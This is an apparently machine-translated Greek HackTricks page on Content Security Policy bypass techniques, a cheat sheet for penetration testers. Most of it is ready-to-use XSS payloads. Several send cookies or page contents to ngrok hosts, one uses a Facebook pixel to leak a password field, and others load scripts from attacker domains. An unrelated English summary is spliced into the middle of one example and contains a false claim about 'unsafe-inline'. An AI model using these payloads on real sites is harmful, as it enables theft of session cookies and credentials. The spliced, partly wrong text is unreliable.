Content Security Policy (CSP) Bypass

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Συμμετέχετε στον Διακομιστή Discord του HackenProof για να επικοινωνείτε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Χάκινγκ Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες εκκινήσεις ευρημάτων ευπρεπούς και κρίσιμες ενημερώσεις πλατφόρμας

Ελάτε στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Τι είναι η CSP

Η Πολιτική Ασφάλειας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία περιήγησης, με κύριο στόχο την προστασία ενάντια σε επιθέσεις όπως η διασπορά σελίδων (XSS). Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες το πρόγραμμα περιήγησης μπορεί να φορτώσει ασφαλώς πόρους. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των ενσωματωμένων πόρων και την εκτέλεση κώδικα συμβολοσειράς μέσω λειτουργιών όπως eval, setTimeout, ή setInterval.

Η εφαρμογή της CSP πραγματοποιείται μέσω κεφαλίδων απάντησης ή με την ενσωμάτωση στοιχείων meta στη σελίδα HTML. Με βάση αυτήν την πολιτική, οι περιηγητές επιβάλλουν αυτές τις προδιαγραφές και αποκλείουν αμέσως οποιεσδήποτε παραβάσεις ανιχνευθούν.

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Υλοποιημένο μέσω ετικέτας meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Επικεφαλίδες

Το CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις επικεφαλίδες:

  • Content-Security-Policy: Επιβάλλει το CSP· ο περιηγητής αποκλείει οποιεσδήποτε παραβάσεις.

  • Content-Security-Policy-Report-Only: Χρησιμοποιείται για παρακολούθηση· αναφέρει παραβάσεις χωρίς να τις αποκλείει. Ιδανικό για δοκιμές σε περιβάλλοντα προεγγενέστερης παραγωγής.

Ορισμός Πόρων

Το CSP περιορίζει τις πηγές για τη φόρτωση ενεργών και παθητικών περιεχομένων, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση της eval(). Ένα παράδειγμα πολιτικής είναι:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Οδηγίες

  • script-src: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων διευθύνσεων URL, ενσωματωμένων scripts, και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.

  • default-src: Ορίζει μια προεπιλεγμένη πολιτική για τη λήψη πόρων όταν συγκεκριμένες οδηγίες λήψης λείπουν.

  • child-src: Καθορίζει τους επιτρεπόμενους πόρους για web workers και περιεχόμενα ενσωματωμένων πλαισίων.

  • connect-src: Περιορίζει τις διευθύνσεις URL που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.

  • frame-src: Περιορίζει τις διευθύνσεις URL για πλαίσια.

  • frame-ancestors: Καθορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως <frame>, <iframe>, <object>, <embed>, και <applet>.

  • img-src: Ορίζει τις επιτρεπόμενες πηγές για εικόνες.

  • font-src: Καθορίζει τις έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας το @font-face.

  • manifest-src: Ορίζει τις επιτρεπόμενες πηγές αρχείων μεταδεδομένων εφαρμογής.

  • media-src: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.

  • object-src: Ορίζει τις επιτρεπόμενες πηγές για τα στοιχεία <object>, <embed>, και <applet>.

  • base-uri: Καθορίζει τις επιτρεπόμενες διευθύνσεις URL για φόρτωση χρησιμοποιώντας τα στοιχεία <base>.

  • form-action: Καταχωρίζει τις έγκυρες τοποθεσίες για υποβολές φορμών.

  • plugin-types: Περιορίζει τους τύπους mime που μια σελίδα μπορεί να ενεργοποιήσει.

  • upgrade-insecure-requests: Οδηγεί τους browsers να μεταγράψουν τις διευθύνσεις URL HTTP σε HTTPS.

  • sandbox: Εφαρμόζει περιορισμούς παρόμοιους με το χαρακτηριστικό sandbox ενός <iframe>.

  • report-to: Καθορίζει μια ομάδα στην οποία θα σταλεί έκθεση εάν η πολιτική παραβιαστεί.

  • worker-src: Καθορίζει τις έγκυρες πηγές για scripts Worker, SharedWorker, ή ServiceWorker.

  • prefetch-src: Καθορίζει τις έγκυρες πηγές για πόρους που θα φορτωθούν ή θα προφορτωθούν.

  • navigate-to: Περιορίζει τις διευθύνσεις URL στις οποίες μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (σύνδεσμος, φόρμα, window.location, window.open, κλπ.)

Πηγές

  • *: Επιτρέπει όλες τις διευθύνσεις URL εκτός από αυτές με τις σχήματα data:, blob:, filesystem:.

  • 'self': Επιτρέπει τη φόρτωση από τον ίδιο τομέα.

  • 'data': Επιτρέπει τη φόρτωση πόρων μέσω του σχήματος data (π.χ., εικόνες κωδικοποιημένες σε Base64).

  • 'none': Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.

  • 'unsafe-eval': Επιτρέπει τη χρήση της eval() και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.

  • 'unsafe-hashes': Ενεργοποιεί συγκεκριμένους inline event handlers.

  • 'unsafe-inline': Επιτρέπει τη χρήση ενσωματωμένων πόρων όπως inline <script> ή <style>, δεν συνιστάται για λόγους ασφαλείας.

  • 'nonce': Μια λευκή λίστα για συγκεκριμένα inline scripts χρησιμοποιώντας έναν κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).

  • Εάν έχετε περιορισμένη εκτέλεση JS, είναι δυνατόν να λάβετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με doc.defaultView.top.document.querySelector("[nonce]") και στη συνέχεια να το επαναχρησιμοποιήσετε για τη φόρτωση ενός κακόβουλου script (εάν χρησιμοποιείται το strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές οπότε αυτό δεν είναι απαραίτητο), όπως στο:

Φόρτωση script επαναχρησιμοποιώντας nonce

```html ```

  • 'sha256-<hash>': Λευκή λίστα σεναρίων με συγκεκριμένο κατακευή sha256.

  • 'strict-dynamic': Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει προστεθεί στη λευκή λίστα μέσω nonce ή hash.

  • 'host': Καθορίζει μια συγκεκριμένη ιστοσελίδα, όπως example.com.

  • https:: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.

  • blob:: Επιτρέπει τη φόρτωση πόρων από διευθύνσεις URL Blob (π.χ. διευθύνσεις URL Blob που δημιουργούνται μέσω JavaScript).

  • filesystem:: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.

  • 'report-sample': Περιλαμβάνει ένα δείγμα του κώδικα που παραβιάζει τον κανόνα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).

  • 'strict-origin': Παρόμοιο με το 'self' αλλά εξασφαλίζει ότι το επίπεδο ασφάλειας πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).

  • 'strict-origin-when-cross-origin': Αποστέλλει πλήρεις διευθύνσεις URL κατά την πραγματοποίηση αιτήσεων στην ίδια πηγή, αλλά αποστέλλει μόνο την προέλευση όταν η αίτηση είναι διασυνοριακή.

  • 'unsafe-allow-redirects': Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνονται αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.

Μη ασφαλείς Κανόνες CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Αυτό δεν λειτουργεί, για περισσότερες πληροφορίες ελέγξτε αυτό.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Λειτουργικό φορτίο:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Αν μπορείτε με κάποιον τρόπο να κάνετε έναν επιτρεπόμενο κώδικα JS να δημιουργήσει ένα νέο ετικέτα script στο DOM με τον κώδικά σας, επειδή ένας επιτρεπόμενος κώδικας δημιουργεί αυτό, το νέο ετικέτα script θα επιτραπεί να εκτελεστεί.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Λειτουργικό φορτίο:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Έλλειψη object-src και default-src

Φαίνεται ότι αυτό πλέον δεν λειτουργεί

Content-Security-Policy: script-src 'self' ;

Λειτουργικά φορτία:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Μεταφόρτωση Αρχείου + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Εάν μπορείτε να μεταφορτώσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτό το CSP:

Λειτουργικό φορτίο:

"/>'><script src="/uploads/picture.png.js"></script>

Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής επικυρώνει το ανεβασμένο αρχείο και θα σας επιτρέψει μόνο να ανεβάσετε συγκεκριμένου τύπου αρχεία.

Επιπλέον, ακόμα κι αν μπορούσατε να ανεβάσετε έναν κώδικα JS μέσα σε ένα αρχείο χρησιμοποιώντας μια επέκταση που αποδέχεται ο διακομιστής (όπως: script.png), αυτό δεν θα είναι αρκετό επειδή ορισμένοι διακομιστές όπως ο διακομιστής Apache επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση και οι περιηγητές όπως ο Chrome θα αρνηθούν να εκτελέσουν κώδικα Javascript μέσα σε κάτι που θα έπρεπε να είναι μια εικόνα. "Ευτυχώς", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF μάθαινα ότι ο Apache δεν γνωρίζει την επέκταση .wave, επομένως δεν την εξυπηρετεί με έναν τύπο MIME όπως audio/*.

Από εδώ, αν βρείτε ένα XSS και ένα ανέβασμα αρχείου και καταφέρετε να βρείτε μια λανθασμένη επέκταση, μπορείτε να δοκιμάσετε να ανεβάσετε ένα αρχείο με αυτήν την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε έναν πολύγλωττο (κάποια παραδείγματα πολύγλωτων εδώ).

Ενέργεια φόρμας

Αν δεν είναι δυνατή η ενσωμάτωση JS, μπορείτε ακόμα να δοκιμάσετε να εξαγάγετε, για παράδειγμα, διαπιστευτήρια ενσωματώνοντας μια ενέργεια φόρμας (και ίσως περιμένοντας οι διαχειριστές κωδικών πρόσβασης να συμπληρώνουν αυτόματα τους κωδικούς πρόσβασης). Μπορείτε να βρείτε ένα παράδειγμα σε αυτήν την αναφορά. Επίσης, παρατηρήστε ότι το default-src δεν καλύπτει τις ενέργειες φόρμας.

Τρίτες Συνδέσεις + ('unsafe-eval')

Για μερικά από τα ακόλουθα φορτία δεν απαιτείται καν το unsafe-eval.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Φορτώστε μια ευάλωτη έκδοση του Angular και εκτελέστε αυθαίρετο JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads χρησιμοποιώντας το Angular + μια βιβλιοθήκη με συναρτήσεις που επιστρέφουν το αντικείμενο window (έλεγξε αυτή την ανάρτηση):

Η ανάρτηση δείχνει ότι μπορείτε να φορτώσετε όλες τις βιβλιοθήκες από cdn.cloudflare.com (ή οποιονδήποτε άλλο επιτρεπόμενο αποθετήριο JS βιβλιοθηκών), να εκτελέσετε όλες τις προστεθείσες συναρτήσεις από κάθε βιβλιοθήκη, και να ελέγξετε ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Εκμετάλλευση XSS στο Angular από το όνομα μιας κλάσης:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Κατάχρηση του κώδικα JS του Google reCAPTCHA

Σύμφωνα με αυτό το CTF writeup μπορείτε να καταχραστείτε το https://www.google.com/recaptcha/ μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Περισσότερα φορτία από αυτήν την ανάλυση:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Κατάχρηση του www.google.com για ανοικτή ανακατεύθυνση

Το παρακάτω URL ανακατευθύνει στο example.com (από εδώ):

https://www.google.com/amp/s/example.com/

Κατάχρηση *.google.com/script.google.com

Είναι δυνατή η κατάχρηση του Google Apps Script για τη λήψη πληροφοριών σε μια σελίδα μέσα στο script.google.com. Όπως γίνεται σε αυτήν την αναφορά.

Τρίτες Συνδέσεις + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Σε περιπτώσεις όπως αυτή όπου το script-src έχει οριστεί σε self και ένα συγκεκριμένο τομέα που έχει προστεθεί στη λευκή λίστα, μπορεί να παρακαμφθεί χρησιμοποιώντας το JSONP. Τα σημεία JSONP επιτρέπουν μη ασφαλείς μεθόδους κλήσης που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό φορτίο:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee περιέχει έτοιμα σημεία JSONP για την παράκαμψη του CSP σε διάφορες ιστοσελίδες.

Η ίδια ευπάθεια θα εμφανιστεί αν το αξιόπιστο σημείο περιέχει μια Ανοικτή Ανακατεύθυνση επειδή αν το αρχικό σημείο είναι αξιόπιστο, οι ανακατευθύνσεις είναι αξιόπιστες.

Κατάχρηση από τρίτους

Όπως περιγράφεται στην ακόλουθη ανάρτηση, υπάρχουν πολλοί τομείς τρίτων, που ενδέχεται να επιτρέπονται κάπου στο CSP, μπορούν να καταχραστούν είτε για την εξαγωγή δεδομένων είτε για την εκτέλεση κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:

ΟντότηταΕπιτρεπόμενος ΤομέαςΔυνατότητες

Facebook

www.facebook.com, *.facebook.com

Εξαγωγή

Hotjar

*.hotjar.com, ask.hotjar.io

Εξαγωγή

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Εκτέλεση

Amazon CloudFront

*.cloudfront.net

Εξαγωγή, Εκτέλεση

Amazon AWS

*.amazonaws.com

Εξαγωγή, Εκτέλεση

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Εξαγωγή, Εκτέλεση

Salesforce Heroku

*.herokuapp.com

Εξαγωγή, Εκτέλεση

Google Firebase

*.firebaseapp.com

Εξαγωγή, Εκτέλεση

Αν βρείτε κάποιον από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, υπάρχει πιθανότητα να μπορέσετε να παρακάμψετε το CSP καταχωρίζοντας στην υπηρεσία τρίτου, είτε για την εξαγωγή δεδομένων σε αυτήν την υπηρεσία είτε για την εκτέλεση κώδικα.

Για παράδειγμα, αν βρείτε το ακόλουθο CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​
## CSP Bypass

### Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can render it ineffective.

### Bypass Techniques

1. **Inline Script Execution**: By using inline event handlers or script tags, attackers can execute arbitrary code despite CSP restrictions.

2. **Unsafe Inline**: Disabling the `'unsafe-inline'` directive allows only scripts loaded from external sources, preventing inline script execution.

3. **Data Protocol**: Using the `data:` protocol, attackers can embed code directly into HTML attributes or script tags.

4. **Nonce Bypass**: If a CSP policy includes a nonce, attackers can bypass it by injecting a valid nonce along with their malicious code.

5. **Self Bypass**: By allowing `'self'` as a valid source, attackers can host malicious scripts on the same domain, bypassing CSP restrictions.

### Mitigation

To prevent CSP bypasses, ensure the following:

- Avoid using `'unsafe-inline'` and `'unsafe-eval'` directives.
- Implement strict policies with only necessary sources whitelisted.
- Use nonces or hashes to validate trusted scripts.
- Regularly audit and update CSP policies to address new threats.
Content-Security-Policy​: connect-src www.facebook.com;​

Θα πρέπει να μπορείτε να εξαγάγετε δεδομένα, με τον ίδιο τρόπο που πάντα έχει γίνει με το Google Analytics/Google Tag Manager. Σε αυτήν την περίπτωση, ακολουθείτε αυτά τα γενικά βήματα:

  1. Δημιουργήστε ένα λογαριασμό Ανάπτυξης Facebook εδώ.

  2. Δημιουργήστε ένα νέο "Facebook Login" εφαρμογή και επιλέξτε "Ιστοσελίδα".

  3. Πηγαίνετε σε "Ρυθμίσεις -> Βασικές" και πάρτε το "App ID" σας.

  4. Στην ιστοσελίδα-στόχο απ' όπου θέλετε να εξάγετε δεδομένα, μπορείτε να τα εξάγετε απευθείας χρησιμοποιώντας το Facebook SDK εργαλείο "fbq" μέσω ενός "customEvent" και των δεδομένων φορτίου.

  5. Πηγαίνετε στο "Διαχειριστή Συμβάντων" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημείωση: ο διαχειριστής συμβάντων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Επιλέξτε την καρτέλα "Δοκιμαστικά Συμβάντα" για να δείτε τα συμβάντα που στέλνονται από την ιστοσελίδα "σας".

Στη συνέχεια, στην πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στον λογαριασμό ανάπτυξης του επιτιθέμενου στο Facebook app-id και να εκδώσετε ένα προσαρμοσμένο συμβάν όπως αυτό:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Bypass μέσω RPO (Relative Path Overwrite)

Εκτός από την προαναφερθείσα ανακατεύθυνση για την παράκαμψη των περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) που μπορεί να χρησιμοποιηθεί σε κάποιους διακομιστές.

Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή https://example.com/scripts/react/, μπορεί να παρακαμφθεί ως εξής:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Το πρόγραμμα περιήγησης θα φορτώσει τελικά το https://example.com/scripts/angular/angular.js.

Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με το όνομα ..%2fangular%2fangular.js που βρίσκεται κάτω από το https://example.com/scripts/react/, το οποίο είναι συμμορφωμένο με το CSP.

Έτσι, θα το αποκωδικοποιήσουν, ζητώντας αποτελεσματικά το https://example.com/scripts/react/../angular/angular.js, το οποίο είναι ισοδύναμο με το https://example.com/scripts/angular/angular.js.

Αξιοποιώντας αυτήν την αντίφαση στην ερμηνεία του URL μεταξύ του περιηγητή και του διακομιστή, μπορούν να παρακαμφθούν οι κανόνες διαδρομής.

Η λύση είναι να μην θεωρείτε το %2f ως / στην πλευρά του διακομιστή, εξασφαλίζοντας συνεπή ερμηνεία μεταξύ του περιηγητή και του διακομιστή για να αποφευχθεί αυτό το ζήτημα.

Παράδειγμα Online:https://jsbin.com/werevijewa/edit?html,output

Εκτέλεση JS μέσω Iframes

pageIframes in XSS, CSP and SOP

λείπον base-uri

Αν η οδηγία base-uri λείπει, μπορείτε να την καταχραστείτε για να εκτελέσετε μια dangling markup injection.

Επιπλέον, αν η σελίδα φορτώνει ένα script χρησιμοποιώντας μια σχετική διαδρομή (όπως <script src="/js/app.js">) χρησιμοποιώντας ένα Nonce, μπορείτε να καταχραστείτε την ετικέτα base για να το κάνετε να φορτώσει το script από το δικό σας διακομιστή επιτυγχάνοντας ένα XSS. Αν η ευάλωτη σελίδα φορτώνεται με httpS, χρησιμοποιήστε ένα url httpS στην ετικέτα base.

<base href="https://www.attacker.com/">

Συμβάντα AngularJS

Μια συγκεκριμένη πολιτική γνωστή ως Πολιτική Ασφαλείας Περιεχομένου (CSP) μπορεί να περιορίσει τα συμβάντα JavaScript. Ωστόσο, το AngularJS εισάγει προσαρμοσμένα συμβάντα ως εναλλακτική λύση. Μέσα σε ένα συμβάν, το AngularJS παρέχει ένα μοναδικό αντικείμενο $event, το οποίο αναφέρεται στο πρωτότυπο αντικείμενο συμβάντος του προγράμματος περιήγησης. Αυτό το αντικείμενο $event μπορεί να εκμεταλλευτείτε για να παρακάμψετε τη CSP. Ιδιαίτερα, στο Chrome, το αντικείμενο $event/event διαθέτει ένα χαρακτηριστικό path, το οποίο κρατά έναν πίνακα αντικειμένων που σχετίζονται με την αλυσίδα εκτέλεσης του συμβάντος, με το αντικείμενο window να βρίσκεται πάντοτε στο τέλος. Αυτή η δομή είναι κρίσιμη για τακτικές διαφυγής από το χώρο ασφαλείας.

Καθοδηγώντας αυτόν τον πίνακα στο φίλτρο orderBy, είναι δυνατόν να επαναλάβετε πάνω του, εκμεταλλευόμενοι το τελικό στοιχείο (το αντικείμενο window) για να ενεργοποιήσετε μια παγκόσμια συνάρτηση όπως το alert(). Το παρακάτω απόσπασμα κώδικα επεξηγεί αυτήν τη διαδικασία:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Αυτό το απόσπασμα υπογραμμίζει τη χρήση της οδηγίας ng-focus για να ενεργοποιήσει το συμβάν, χρησιμοποιώντας το $event.path|orderBy για να χειριστεί τον πίνακα path, και εκμεταλλευόμενο το αντικείμενο window για να εκτελέσει τη λειτουργία alert(), αποκαλύπτοντας έτσι το document.cookie.

Βρείτε άλλες παρακάμψεις στο Angular https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS και λευκή λίστα τομέων

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Μια πολιτική CSP που καταχωρίζει λευκή λίστα τομέων για τη φόρτωση script σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης συναρτήσεων επιστροφής και ορισμένων ευάλωτων κλάσεων. Περισσότερες πληροφορίες για αυτήν την τεχνική μπορούν να βρεθούν σε ένα λεπτομερές οδηγό διαθέσιμο σε αυτό το αποθετήριο git.

Λειτουργικά φορτία:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Διέλευση μέσω Ανακατεύθυνσης

Τι συμβαίνει όταν το CSP αντιμετωπίζει ανακατευθύνσεις στην πλευρά του διακομιστή; Αν η ανακατεύθυνση οδηγεί σε μια διαφορετική προέλευση που δεν επιτρέπεται, τότε θα αποτύχει.

Ωστόσο, σύμφωνα με την περιγραφή στο CSP spec 4.2.2.3. Paths and Redirects, αν η ανακατεύθυνση οδηγεί σε ένα διαφορετικό μονοπάτι, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.

Εδώ υπάρχει ένα παράδειγμα:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Εάν το CSP έχει οριστεί σε https://www.google.com/a/b/c/d, αφού λαμβάνεται υπόψη το μονοπάτι, τόσο τα σενάρια /test όσο και /a/test θα αποκλειστούν από το CSP.

Ωστόσο, το τελικό http://localhost:5555/301 θα ανακατευθυνθεί στην πλευρά του διακομιστή σε https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Καθώς πρόκειται για ανακατεύθυνση, το μονοπάτι δεν λαμβάνεται υπόψη, και το σενάριο μπορεί να φορτωθεί, παρακάμπτοντας έτσι τον περιορισμό του μονοπατιού.

Με αυτήν την ανακατεύθυνση, ακόμη και αν το μονοπάτι καθορίζεται πλήρως, θα παρακαμφθεί.

Συνεπώς, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει κενές ευκαιρίες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες του CSP.

Παράκαμψη CSP με κρεμαστό σήμα

Διαβάστε εδώ πώς.

'unsafe-inline'; img-src *; μέσω XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε script μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και img-src * σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.

Μπορείτε να παρακάμψετε αυτό το CSP με την εξυπακούοντα εξαγωγή δεδομένων μέσω εικόνων (σε αυτήν την περίπτωση το XSS καταχράται ένα CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει ένα SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):

